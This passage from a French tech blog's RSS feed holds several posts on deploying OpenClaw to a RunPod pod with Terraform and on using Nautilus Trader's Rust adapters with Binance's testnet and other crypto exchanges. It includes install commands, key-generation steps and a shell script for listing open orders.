    &#34;NVIDIA GeForce RTX 4080&#34;,
    &#34;NVIDIA RTX A5000&#34;,
    &#34;NVIDIA L4&#34;,
    &#34;NVIDIA GeForce RTX 4090&#34;,
    &#34;NVIDIA A40&#34;,
  ]
  gpu_count     = 1
  interruptible = false

  cloud_type        = &#34;COMMUNITY&#34;
  support_public_ip = true

  container_disk_in_gb = 30
  volume_in_gb         = 30
  volume_mount_path    = &#34;/workspace&#34;

  ports = [&#34;22/tcp&#34;]

  env = {
    PUBLIC_KEY             = var.ssh_public_key
    JUPYTER_PASSWORD       = &#34;disabled&#34;
    OPENCLAW_GATEWAY_TOKEN = var.gateway_token
    OPENCLAW_GATEWAY_BIND  = &#34;loopback&#34;
    OPENCLAW_GATEWAY_PORT  = tostring(var.gateway_port)
    GOG_KEYRING_PASSWORD   = var.gog_keyring_password
  }

  docker_start_cmd = [
    &#34;bash&#34;, &#34;-c&#34;,
    join(&#34; &amp;&amp; &#34;, [
      &#34;mkdir -p /root/.ssh&#34;,
      &#34;echo $PUBLIC_KEY &gt; /root/.ssh/authorized_keys&#34;,
      &#34;chmod 700 /root/.ssh&#34;,
      &#34;chmod 600 /root/.ssh/authorized_keys&#34;,
      &#34;service ssh start&#34;,

      &#34;mkdir -p /workspace/.openclaw/workspace&#34;,
      &#34;ln -sfn /workspace/.openclaw /root/.openclaw&#34;,

      &#34;curl -fsSL https://deb.nodesource.com/setup_22.x | bash -&#34;,
      &#34;apt-get install -y -qq nodejs socat&#34;,
      &#34;npm install -g --ignore-scripts openclaw@latest&#34;,

      &#34;openclaw gateway --bind $OPENCLAW_GATEWAY_BIND --port $OPENCLAW_GATEWAY_PORT --allow-unconfigured&#34;,
    ])
  ]
}
</code></pre><br/>
<p><code>vim openclaw-runpod/outputs.tf</code></p>
<pre tabindex="0"><code>output &#34;pod_id&#34; {
  description = &#34;RunPod Pod ID&#34;
  value       = runpod_pod.openclaw.id
}

output &#34;pod_cost_per_hr&#34; {
  description = &#34;Cost per hour&#34;
  value       = runpod_pod.openclaw.cost_per_hr
}

output &#34;pod_public_ip&#34; {
  description = &#34;Public IP (use for SSH)&#34;
  value       = runpod_pod.openclaw.public_ip
}
</code></pre><br/>
<h2 id="4-lancer-le-déploiement">4. Lancer le déploiement</h2>
<pre tabindex="0"><code>cd openclaw-runpod

# Initialiser Terraform
terraform init

# Prévisualiser ce qui va être créé
terraform plan -var=&#34;ssh_public_key=$(cat ~/.ssh/id_ed25519.pub)&#34;

# Créer le pod
terraform apply -var=&#34;ssh_public_key=$(cat ~/.ssh/id_ed25519.pub)&#34;
</code></pre><br/>
<h2 id="5-se-connecter-et-utiliser-openclaw">5. Se connecter et utiliser OpenClaw</h2>
<pre tabindex="0"><code># Récupérer l&#39;IP publique
terraform output pod_public_ip

# SSH avec tunnel pour accéder à OpenClaw en local de façon sécurisée
ssh -L 3000:localhost:3000 root@&lt;IP_PUBLIQUE&gt;

# Une fois connecté au pod :
openclaw setup
openclaw health
</code></pre><p>OpenClaw sera accessible à <code>http://localhost:3000</code></p>
<br/>
<p><img src="/images/openclaw-runpod.png" alt="image"></p>
<br/>
<h2 id="6-détruire-le-pod">6. Détruire le pod</h2>
<pre tabindex="0"><code>terraform destroy -var=&#34;ssh_public_key=$(cat ~/.ssh/id_ed25519.pub)&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Premier limit order avec Nautilus trader sur Binance</title>
            <link>https://leandeep.com/premier-limit-order-avec-nautilus-trader-sur-binance/</link>
            <pubDate>Mon, 23 Feb 2026 22:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/premier-limit-order-avec-nautilus-trader-sur-binance/</guid>
            <description>&lt;p&gt;Dans cet article, j&amp;rsquo;approfondis l&amp;rsquo;adapter Binance écrit en Rust de Nautilus trader pour pouvoir me connecter au testnet de Binance pour réaliser un limit order.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;accès-au-testnet-de-binance&#34;&gt;Accès au testnet de Binance&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Data tester&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;adapter existant ne supporte pas le testnet.&lt;/p&gt;
&lt;p&gt;Créer une API key sur &lt;a href=&#34;https://testnet.binance.vision/key/register&#34;&gt;https://testnet.binance.vision/key/register&lt;/a&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl genrsa -out test-prv-key.pem 2048
openssl rsa -in test-prv-key.pem -pubout -outform PEM -out test-pub-key.pem
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Je préconise de créer une autre example dans l&amp;rsquo;adapter binance: &lt;code&gt;node_data_tester_testnet.rs&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export BINANCE_API_KEY=&amp;#34;API_KEY_FROM_BINANCE_TESTNET_WEBSITE&amp;#34;
export BINANCE_API_SECRET=&amp;#34;$(cat /path/to/test-prv-key.pem)&amp;#34;
cargo run --release --example binance-spot-data-tester-testnet --package nautilus-binance
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Résultat:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, j&rsquo;approfondis l&rsquo;adapter Binance écrit en Rust de Nautilus trader pour pouvoir me connecter au testnet de Binance pour réaliser un limit order.</p>
<br/>
<h2 id="accès-au-testnet-de-binance">Accès au testnet de Binance</h2>
<p><strong>Data tester</strong></p>
<p>L&rsquo;adapter existant ne supporte pas le testnet.</p>
<p>Créer une API key sur <a href="https://testnet.binance.vision/key/register">https://testnet.binance.vision/key/register</a>:</p>
<pre tabindex="0"><code>openssl genrsa -out test-prv-key.pem 2048
openssl rsa -in test-prv-key.pem -pubout -outform PEM -out test-pub-key.pem
</code></pre><p>Je préconise de créer une autre example dans l&rsquo;adapter binance: <code>node_data_tester_testnet.rs</code></p>
<pre tabindex="0"><code>export BINANCE_API_KEY=&#34;API_KEY_FROM_BINANCE_TESTNET_WEBSITE&#34;
export BINANCE_API_SECRET=&#34;$(cat /path/to/test-prv-key.pem)&#34;
cargo run --release --example binance-spot-data-tester-testnet --package nautilus-binance
</code></pre><p>Résultat:</p>
<p><code>2026-02-23T22:08:55.464317000Z [INFO] TRADER-001.nautilus_binance::spot::websocket::streams::client: Connecting to Binance SBE WebSocket: url=wss://stream.testnet.binance.vision/ws, auth=false</code></p>
<p><img src="/images/binance-btc-usd-testnet.png" alt="image"></p>
<br/>
<p><strong>Exec tester</strong></p>
<p>Comme pour le script précédent, je préconise de créer un nouveau fichier dans l&rsquo;adapter binance: <code>node_exec_tester_testnet.rs</code>.</p>
<pre tabindex="0"><code>export BINANCE_API_KEY=&#34;API_KEY_FROM_BINANCE_TESTNET_WEBSITE&#34;
export BINANCE_API_SECRET=&#34;$(cat /path/to/test-prv-key.pem)&#34;
cargo run --release --example binance-spot-exec-tester-testnet --package nautilus-binance
</code></pre><p>Résultat:</p>
<p><img src="/images/binance-limit-order-btc-usd-testnet.png" alt="image"></p>
<br/>
<h2 id="lister-les-limit-orders-sur-binance-testnet-via-api-call">Lister les limit orders sur Binance testnet via API call</h2>
<p>Créer un fichier <code>./check_orders.sh</code> avec le contenu suivant:</p>
<pre tabindex="0"><code>#!/bin/bash

API_KEY=&#34;...&#34;
SECRET_KEY=&#34;...&#34;
BASE_URL=&#34;https://testnet.binance.vision&#34;
SYMBOL=&#34;${1:-BTCUSDT}&#34;

# Verify keys
if [[ &#34;$API_KEY&#34; == &#34;ta_cle_api_ici&#34; ]] || [[ &#34;$SECRET_KEY&#34; == &#34;ton_secret_ici&#34; ]]; then
    echo &#34;❌ Erreur : Modifie API_KEY et SECRET_KEY avec tes vraies clés testnet !&#34; &gt;&amp;2
    exit 1
fi

# Timestamp in milliseconds
TIMESTAMP=$(date +%s000)
QUERY_PARAMS=&#34;symbol=${SYMBOL}&amp;timestamp=${TIMESTAMP}&amp;recvWindow=5000&#34;
SIGNATURE=$(echo -n &#34;$QUERY_PARAMS&#34; | openssl dgst -sha256 -hmac &#34;$SECRET_KEY&#34; -binary | xxd -p -c 0)
FULL_URL=&#34;${BASE_URL}/api/v3/openOrders?${QUERY_PARAMS}&amp;signature=${SIGNATURE}&#34;

echo &#34;📊 Récupération des open orders pour ${SYMBOL}...&#34;

# Call Binance testnet API
RESPONSE=$(curl -s -H &#34;X-MBX-APIKEY: ${API_KEY}&#34; \
    --connect-timeout 10 \
    --max-time 30 \
    &#34;${FULL_URL}&#34;)

# Check if there is an error
if echo &#34;$RESPONSE&#34; | grep -q &#39;&#34;code&#34;&#39;; then
    echo &#34;❌ Erreur API : $RESPONSE&#34; &gt;&amp;2
    exit 1
fi

# Process and display the orders
echo &#34;$RESPONSE&#34; | jq --arg symb &#34;$SYMBOL&#34; &#39;
  # Filtrer seulement les LIMIT orders
  [.[]? | select(.type? == &#34;LIMIT&#34;)] as $limits |
  
  if ($limits | length) == 0 then
    &#34;✅ Aucune LIMIT order ouverte pour \($symb)&#34;
  else
    &#34;📋 \(($limits | length)) LIMIT order(s) ouverte(s) :&#34;, 
    $limits[] | {
      symbol: .symbol,
      side: .side,
      price: .price,
      qty: .origQty,
      filled: .executedQty,
      status: .status,
      time: (.time | tonumber / 1000 | strftime(&#34;%Y-%m-%d %H:%M:%S&#34;))
    }
  end
&#39;
</code></pre><p>Exécuter: <code>./check_orders.sh BTCUSDT</code></p>
<br/>
<p>Je peux maintenant lister les prix avec de bonnes perf et exécuter des trades sur le mainnet et le testnet de Binance. Je vais maintenant pouvoir créer des screeners et quelques stratégies simples en Rust avec des ordres d&rsquo;achat et vente par palier. Je vais mettre en place de l&rsquo;alerting (notif OSX et telegram) et du reporting (TUI).</p>
<p>Je passerai ensuite aux étapes suivantes:</p>
<ul>
<li>Connecter le projet à l&rsquo;API demo de Binance</li>
<li>Accéder à mon portefeuille sur Binance demo &amp; testnet</li>
<li>A très court terme, créer une stratégie sur un exchange &ldquo;sniper de liquidité&rdquo;</li>
<li>Créer une stratégie d&rsquo;arbitrage triangulaire sur un exchange</li>
<li>Créer une stratégie de funding rate sur perp &amp; spot sur un exchange</li>
<li>Créer des stratégies simple sur 2 exchanges (par exemple: arbitrage simple sur marché spot ou funding rate).</li>
<li>Tester la partie Python pour tester des stratégies plus complexes + Backtesting</li>
<li>Accéder en python à l&rsquo;API testnet de Binance</li>
<li>Créer des stratégies sur plus de 2 exchanges</li>
<li>Et pleins d&rsquo;autres&hellip;</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Premiers pas avec Nautilus trader</title>
            <link>https://leandeep.com/premiers-pas-avec-nautilus-trader/</link>
            <pubDate>Mon, 23 Feb 2026 21:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/premiers-pas-avec-nautilus-trader/</guid>
            <description>&lt;p&gt;Dans cet article, je parcours quelques adapters de Nautilus trader écrits en Rust pour récupérer les données en temps réel sur différents exchanges. Mon objectif est de réécrire des bots de trading en Rust et de voir si Nautilus trader pourrait m&amp;rsquo;aider à avancer plus vite que si je démarrais from scratch.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;accès-aux-données-dexchanges&#34;&gt;Accès aux données d&amp;rsquo;exchanges&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Binance&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour utilise l&amp;rsquo;adapter Binance, il faut générer une API key &lt;code&gt;Ed25519&lt;/code&gt;. On fournit à Binance un API secret et Binance fournit un API key.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, je parcours quelques adapters de Nautilus trader écrits en Rust pour récupérer les données en temps réel sur différents exchanges. Mon objectif est de réécrire des bots de trading en Rust et de voir si Nautilus trader pourrait m&rsquo;aider à avancer plus vite que si je démarrais from scratch.</p>
<br/>
<h2 id="accès-aux-données-dexchanges">Accès aux données d&rsquo;exchanges</h2>
<p><strong>Binance</strong></p>
<p>Pour utilise l&rsquo;adapter Binance, il faut générer une API key <code>Ed25519</code>. On fournit à Binance un API secret et Binance fournit un API key.</p>
<p>Voici la procédure:</p>
<pre tabindex="0"><code>openssl genpkey -algorithm ed25519 -out binance_ed25519_private.pem
# Extract public key for Binance registration
openssl pkey -in binance_ed25519_private.pem -pubout -out binance_ed25519_public.pem
</code></pre><p>Exécution:</p>
<pre tabindex="0"><code>export BINANCE_API_KEY=&#34;API_KEY_FOURNIE_PAR_BINANCE&#34;
export BINANCE_API_SECRET=&#34;$(cat /path/to/binance_ed25519_private.pem)&#34;
RUST_LOG=debug cargo run --example binance-spot-data-tester --package nautilus-binance
</code></pre><p>Résultat:</p>
<p><img src="/images/binance-spot-btc-usd.png" alt="image"></p>
<br/>
<p><strong>Coinbase</strong></p>
<p>Coinbase dans sa version classique non institutionnel n&rsquo;est pas disponible dans Nautilus Trader.
Néanmoins, il est aisé, en s&rsquo;inspirer des autres adapters et de l&rsquo;adapter coinbase international existant, de créer son propre adapter coinbase pour récupérer des données en temps réel.
C&rsquo;est même plus simple que Coinbase International car pour coinbase non institutionnel, il ne faut pas s&rsquo;authentifier à l&rsquo;API WS.</p>
<p>Voici l&rsquo;arborescence à suivre:</p>
<pre tabindex="0"><code>coinbase/
├── Cargo.toml
├── README.md
├── examples/
│   └── node_data_tester.rs       # Exemple : BTC-USD + ETH-USD en temps réel
└── src/
    ├── lib.rs
    ├── config.rs                  # CoinbaseDataClientConfig (pas d&#39;auth requise)
    ├── data.rs                    # CoinbaseDataClient (DataClient trait)
    ├── factories.rs               # CoinbaseDataClientFactory
    ├── common/
    │   ├── consts.rs              # COINBASE exchange/venue, URLs REST + WS
    │   └── enums.rs               # CoinbaseProductType, CoinbaseSide
    ├── http/
    │   ├── client.rs              # CoinbaseHttpClient (requêtes REST publiques)
    │   ├── models.rs              # Structs de désérialisation JSON
    │   └── parse.rs               # Parsing → CurrencyPair instruments
    └── websocket/
        ├── client.rs              # (réservé pour client standalone futur)
        ├── messages.rs            # Types WS : ticker, trades, L2, candles
        └── parse.rs               # Parsing → QuoteTick, TradeTick
</code></pre><p>Exécution:</p>
<pre tabindex="0"><code>cargo run --release \
  --example coinbase-data-tester \
  --package nautilus-coinbase
</code></pre><p>Résultat:</p>
<p><img src="/images/coinbase-btc-usd.png" alt="image"></p>
<br/>
<p><strong>Hyperliquid</strong></p>
<p>Pour Hyperliquid, il n&rsquo;y a rien à faire; c&rsquo;est cadeau.</p>
<p>Exécution:</p>
<pre tabindex="0"><code>cargo run --example hyperliquid-data-tester --package nautilus-hyperliquid
</code></pre><p>Résultat:</p>
<p><img src="/images/hyperliquid-perp-btc-usd.png" alt="image"></p>
<br/>
<p><strong>Deribit</strong></p>
<p>Deribit, idem rien à faire.</p>
<p>Exécution:</p>
<pre tabindex="0"><code>cargo run --example deribit-data-tester --package nautilus-deribit
</code></pre><p>Résultat:</p>
<p><img src="/images/deribit-perp-btc-usd.png" alt="image"></p>
<br/>
<p><strong>Dydx</strong></p>
<p>Et pour le dernier exemple de cet article, dydx il y a également rien à faire.
Exécution:</p>
<pre tabindex="0"><code>cargo run --example dydx-data-tester --package nautilus-dydx
</code></pre><p>Résultat:</p>
<p><img src="/images/dydx-perp-btc-usd.png" alt="image"></p>
<br/>
<p>Voilà de bonnes bases pour commencer à s&rsquo;amuser sérieusement; c&rsquo;est un bon début pour ce projet. Il contient d&rsquo;autres <em>adapters</em> comme bitmex, Kraken&hellip; Je vais maintenant voir s&rsquo;il est possible de modifier l&rsquo;adapter Binance pour soit me connecter à son mainnet ou son testnet. Et je vais créer une première stratégie très simple qui me permettra de créer des limit orders en Rust sur Binance. On verra ensuite pour soit une stratégie <em>multi-exchanges</em> ou soit une stratégie plus poussée juste sur Binance.</p>
<blockquote>
<p>A noter que Bybit, Okx et Databento n&rsquo;ont pas fonctionné out of the box.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Analyse du projet nautilus trader</title>
            <link>https://leandeep.com/analyse-du-projet-nautilus-trader/</link>
            <pubDate>Wed, 18 Feb 2026 21:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/analyse-du-projet-nautilus-trader/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir ce qu&amp;rsquo;est Nautilus Trader et comment l&amp;rsquo;utiliser.
Je me suis penché sur cet outil car je m&amp;rsquo;étais fixé l&amp;rsquo;objectif de ré-écrire un bot de trading en Rust avant de m&amp;rsquo;apercevoir qu&amp;rsquo;il y avait déjà cette plateforme open source qui existait et qui contient déjà plus de 17 000 commits.
Plutôt que de réinventer la roue, l&amp;rsquo;idée est de voir si je peux m&amp;rsquo;approprier cet outil bot pour en faire un bot d&amp;rsquo;arbitage. Cela me permet aussi de me plonger dans un large projet Rust avec bindings pour Python. Et du coup s&amp;rsquo;il manque des features, ce sera avec grand plaisir que je pourrai les coder.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir ce qu&rsquo;est Nautilus Trader et comment l&rsquo;utiliser.
Je me suis penché sur cet outil car je m&rsquo;étais fixé l&rsquo;objectif de ré-écrire un bot de trading en Rust avant de m&rsquo;apercevoir qu&rsquo;il y avait déjà cette plateforme open source qui existait et qui contient déjà plus de 17 000 commits.
Plutôt que de réinventer la roue, l&rsquo;idée est de voir si je peux m&rsquo;approprier cet outil bot pour en faire un bot d&rsquo;arbitage. Cela me permet aussi de me plonger dans un large projet Rust avec bindings pour Python. Et du coup s&rsquo;il manque des features, ce sera avec grand plaisir que je pourrai les coder.</p>
<br/>
<h2 id="présentation">Présentation</h2>
<p>Nautilus Trader n&rsquo;est pas juste une lib Python écrite en Rust; c&rsquo;est un peu plus complexe.</p>
<p>C&rsquo;est une plateforme de trading algorithmique haute performance qui utilise une architecture hybride à <strong>trois couches de langages</strong>:</p>
<br/>
<p><strong>1. Rust: Le moteur natif (crates/)</strong></p>
<p>Le workspace Rust contient ~35 crates qui implémentent le cœur du système:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Catégorie</th>
          <th style="text-align: left">Crates</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Noyau</td>
          <td style="text-align: left">core, model, common, data, serialization</td>
      </tr>
      <tr>
          <td style="text-align: left">Trading</td>
          <td style="text-align: left">trading, execution, risk, portfolio, backtest</td>
      </tr>
      <tr>
          <td style="text-align: left">Infra</td>
          <td style="text-align: left">network, persistence, infrastructure, cryptography</td>
      </tr>
      <tr>
          <td style="text-align: left">Adapters</td>
          <td style="text-align: left">exchanges	binance, bybit, kraken, deribit, okx, dydx, coinbase_intx, tardis, etc.</td>
      </tr>
      <tr>
          <td style="text-align: left">Binding Python</td>
          <td style="text-align: left">pyo3: le pont vers Python via PyO3</td>
      </tr>
  </tbody>
</table>
<p>Le crate <code>crates/pyo3/</code> est la passerelle: il compile une bibliothèque partagée nautilus_pyo3 qui expose les types et fonctions Rust directement en Python.</p>
<br/>
<p><strong>2. Cython: La couche intermédiaire (fichiers .pyx)</strong></p>
<p>Il y a ~106 fichiers .pyx (Cython) et ~129 fichiers .pxd (déclarations). C&rsquo;est une couche historique importante qui:</p>
<ul>
<li>Fournit une grande partie de l&rsquo;API Python publique (stratégies, ordres, instruments, indicateurs, etc.)</li>
<li>Appelle le code Rust via FFI/C (headers générés dans <code>nautilus_trader/core/includes/</code>)</li>
<li>Implémente certains composants directement en Cython pour la performance</li>
<li>Se compile en extensions C (fichiers .so/.pyd) qui se linkent aux bibliothèques statiques Rust</li>
</ul>
<p>On le voit dans <code>nautilus_trader/core/rust/</code> qui contient des fichiers .pyx comme model.pyx et common.pyx servant de pont entre Cython et les bibliothèques Rust.</p>
<br/>
<p><strong>3. Python pur: L&rsquo;orchestration (fichiers .py)</strong></p>
<p>Du Python classique pour:</p>
<ul>
<li>La configuration et l&rsquo;orchestration du système</li>
<li>Certains adapters de plus haut niveau</li>
<li>Les tests</li>
</ul>
<br/>
<p>En gros l&rsquo;architectue du projet se décompose comme ceci:</p>
<pre tabindex="0"><code>┌─────────────────────────────────────────────────┐
│              Utilisateur Python                 │
│         (import nautilus_trader)                │
├────────────────────┬────────────────────────────┤
│   Cython (.pyx)    │     Python pur (.py)       │
│  Extensions C/C++  │  Config, orchestration     │
├────────────────────┴────────────────────────────┤
│          FFI (C headers)  &amp;  PyO3               │
├─────────────────────────────────────────────────┤
│              Rust (crates/)                     │
│  Core engine, model, adapters, networking, etc. │
└─────────────────────────────────────────────────┘
</code></pre><p>L&rsquo;API utilisateur est en Python, mais que la performance critique est en Rust, et que le Cython sert de ciment (historique) entre les deux.</p>
<blockquote>
<p>Le projet migre progressivement de Cython vers Rust/PyO3. Le Cython est la couche historique, et le Rust prend de plus en plus de place. On voit d&rsquo;ailleurs que les tests ont souvent des versions _pyo3</p></blockquote>
<br/>
<p><strong>Il y a 3 catégories d&rsquo;adapters</strong></p>
<p><strong>1. Adapters Rust + couche Python fine (la majorité)</strong></p>
<p>Ces adapters ont une double implémentation: le gros de la logique est en Rust, avec une couche Python par-dessus.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Adapter</th>
          <th style="text-align: left">Rust (crates/adapters/)</th>
          <th style="text-align: left">Python (nautilus_trader/adapters/)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Binance</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Bybit</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Kraken</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">OKX</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Deribit</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">dYdX</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Coinbase</td>
          <td style="text-align: left">IntX</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Databento</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Tardis</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Hyperliquid</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">BitMEX</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Architect</td>
          <td style="text-align: left">AX</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Sandbox</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Blockchain</td>
          <td style="text-align: left">oui</td>
          <td style="text-align: left">oui</td>
      </tr>
  </tbody>
</table>
<p>Par exemple pour Binance, le code Rust dans <code>crates/adapters/binance/src/futures/data.rs</code> (~1500 lignes) implémente le vrai client de données live (connexions WebSocket, parsing des messages, gestion de l&rsquo;order book,&hellip;). Le code contient même un sous-dossier <code>python/</code> avec des bindings PyO3 pour exposer certains types (enums, clients HTTP/WebSocket) à Python.</p>
<p>Côté Python, <code>nautilus_trader/adapters/binance/data.py</code> est la couche qui orchestre le tout comme la configuration, les factories, et certains traitements de haut niveau mais qui délègue le travail lourd au Rust.</p>
<br/>
<p><strong>2. Adapters Python pur (quelques-uns)</strong></p>
<p>Certains adapters n&rsquo;existent qu&rsquo;en Python, sans contrepartie Rust:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Adapter</th>
          <th style="text-align: left">Rust</th>
          <th style="text-align: left">Python</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Interactive Brokers</td>
          <td style="text-align: left">non</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">Betfair</td>
          <td style="text-align: left">non</td>
          <td style="text-align: left">oui (+ un peu de Cython pour l&rsquo;orderbook)</td>
      </tr>
      <tr>
          <td style="text-align: left">Polymarket</td>
          <td style="text-align: left">non</td>
          <td style="text-align: left">oui</td>
      </tr>
      <tr>
          <td style="text-align: left">dYdX v4 (legacy)</td>
          <td style="text-align: left">non</td>
          <td style="text-align: left">oui</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>3. Le template</strong>
Le dossier <code>nautilus_trader/adapters/_template/</code> contient un squelette Python pour créer de nouveaux adapters. Il est en Python pur:</p>
<pre tabindex="0"><code>_template/
├── __init__.py
├── core.py
├── data.py
├── execution.py
└── providers.py
</code></pre><br/>
<h2 id="installation-sur-osx">Installation sur OSX</h2>
<p>Les bases de données ne sont pas requises pour commencer. Elles sont optionnelles et servent à des cas d&rsquo;usage spécifiques:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Service</th>
          <th style="text-align: left">Rôle</th>
          <th style="text-align: left">Obligatoire ?</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Redis</td>
          <td style="text-align: left">Cache persistant et/ou message bus partagé entre instances</td>
          <td style="text-align: left">Non</td>
      </tr>
      <tr>
          <td style="text-align: left">PostgreSQL</td>
          <td style="text-align: left">Stockage durable des ordres, positions, instruments</td>
          <td style="text-align: left">Non</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Pré-requis</strong></p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Outil</th>
          <th style="text-align: left">Version</th>
          <th style="text-align: left">Pourquoi</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">Python</td>
          <td style="text-align: left">3.12 - 3.14</td>
          <td style="text-align: left">Runtime principal</td>
      </tr>
      <tr>
          <td style="text-align: left">Rust (via rustup)</td>
          <td style="text-align: left">1.93.1 stable</td>
          <td style="text-align: left">Compilation des crates</td>
      </tr>
      <tr>
          <td style="text-align: left">clang	(fourni par Xcode)</td>
          <td style="text-align: left">Compilateur C pour les extensions Cython</td>
          <td></td>
      </tr>
      <tr>
          <td style="text-align: left">uv</td>
          <td style="text-align: left">0.10.3+</td>
          <td style="text-align: left">Gestionnaire de packages Python recommandé</td>
      </tr>
      <tr>
          <td style="text-align: left">Cap&rsquo;n Proto</td>
          <td style="text-align: left">1.3.0</td>
          <td style="text-align: left">Compilation des schémas de sérialisation</td>
      </tr>
  </tbody>
</table>
<br/>
<pre tabindex="0"><code># Installation de Rust
curl https://sh.rustup.rs -sSf | sh
source $HOME/.cargo/env
# Ou update 
# rustup update stable

# uv (gestionnaire de packages Python)
curl -LsSf https://astral.sh/uv/install.sh | sh

# Cap&#39;n Proto
brew install capnp
</code></pre><br/>
<pre tabindex="0"><code>git clone https://github.com/nautechsystems/nautilus_trader
git checkout master
cd nautilus_trader
export PYO3_PYTHON=$(pwd)/.venv/bin/python
make install
# Plus tard pour itérer rapidement: 
# make install-debug
uv run python -c &#34;import nautilus_trader; print(nautilus_trader.__version__)&#34;
# 1.222.0
# uv run python -m pip list
</code></pre><br/>
<h2 id="utilisation-basique">Utilisation basique</h2>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Commande</th>
          <th style="text-align: left">Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">make install</td>
          <td style="text-align: left">Build release + install toutes les dépendances</td>
      </tr>
      <tr>
          <td style="text-align: left">make install-debug</td>
          <td style="text-align: left">Build debug (plus rapide, pour le dev)</td>
      </tr>
      <tr>
          <td style="text-align: left">make build-debug</td>
          <td style="text-align: left">Recompiler après modification de .rs, .pyx, .pxd</td>
      </tr>
      <tr>
          <td style="text-align: left">make clean</td>
          <td style="text-align: left">Nettoyer tous les artefacts de build</td>
      </tr>
      <tr>
          <td style="text-align: left">make format</td>
          <td style="text-align: left">Formater le code Rust et Python</td>
      </tr>
      <tr>
          <td style="text-align: left">make pre-commit</td>
          <td style="text-align: left">Lancer tous les hooks pre-commit</td>
      </tr>
  </tbody>
</table>
<br/>
<h2 id="organisation-des-exemples">Organisation des exemples</h2>
<p>Le dossier <code>examples/</code> est organisé autour de 3 environnements d&rsquo;exécution + un dossier utilitaire:</p>
<br/>
<p><strong>1. <code>backtest/</code>: Données historiques, exchange simulé</strong></p>
<p>Si on fournit des données historiques, le moteur simule un exchange et exécute une stratégie dessus. Aucune connexion réseau, aucune clé API est nécessaire.</p>
<p>Le pattern est toujours le même: <code>Engine -&gt; Venue -&gt; Instrument -&gt; Data -&gt; Strategy -&gt; Run</code>.</p>
<p>Il y a aussi 11 exemples tutoriels numérotés (example_01 à example_11) qui enseignent chacun un concept:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">Exemple</th>
          <th style="text-align: left">Concept enseigné</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">01</td>
          <td style="text-align: left">Charger des bars depuis un CSV custom</td>
      </tr>
      <tr>
          <td style="text-align: left">02</td>
          <td style="text-align: left">Utiliser les timers de l&rsquo;horloge</td>
      </tr>
      <tr>
          <td style="text-align: left">03</td>
          <td style="text-align: left">Agrégation de bars</td>
      </tr>
      <tr>
          <td style="text-align: left">04</td>
          <td style="text-align: left">Utiliser le data catalog</td>
      </tr>
      <tr>
          <td style="text-align: left">05</td>
          <td style="text-align: left">Utiliser le portfolio</td>
      </tr>
      <tr>
          <td style="text-align: left">06</td>
          <td style="text-align: left">Utiliser le cache</td>
      </tr>
      <tr>
          <td style="text-align: left">07</td>
          <td style="text-align: left">Utiliser les indicateurs</td>
      </tr>
      <tr>
